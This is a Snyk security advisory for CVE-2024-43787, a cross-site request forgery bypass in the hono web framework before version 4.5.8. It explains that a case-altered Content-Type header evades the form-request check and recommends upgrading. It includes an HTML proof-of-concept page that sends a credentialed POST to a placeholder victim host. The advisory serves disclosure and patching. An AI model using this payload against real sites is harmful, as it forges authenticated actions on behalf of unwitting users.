Cross-Site Request Forgery (CSRF) Affecting hono package, versions <4.5.8
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published23 Aug 2024
- disclosed22 Aug 2024
- creditwataru-chocola
Introduced: 22 Aug 2024
CVE-2024-43787 (opens in a new tab)How to fix?
Upgrade hono to version 4.5.8 or higher.
Overview
hono is an Ultrafast web framework for the Edges
Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) via the isRequestedByFormElementRe function. An attacker can bypass CSRF protection by using a crafted Content-Type header with case manipulation.
PoC
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>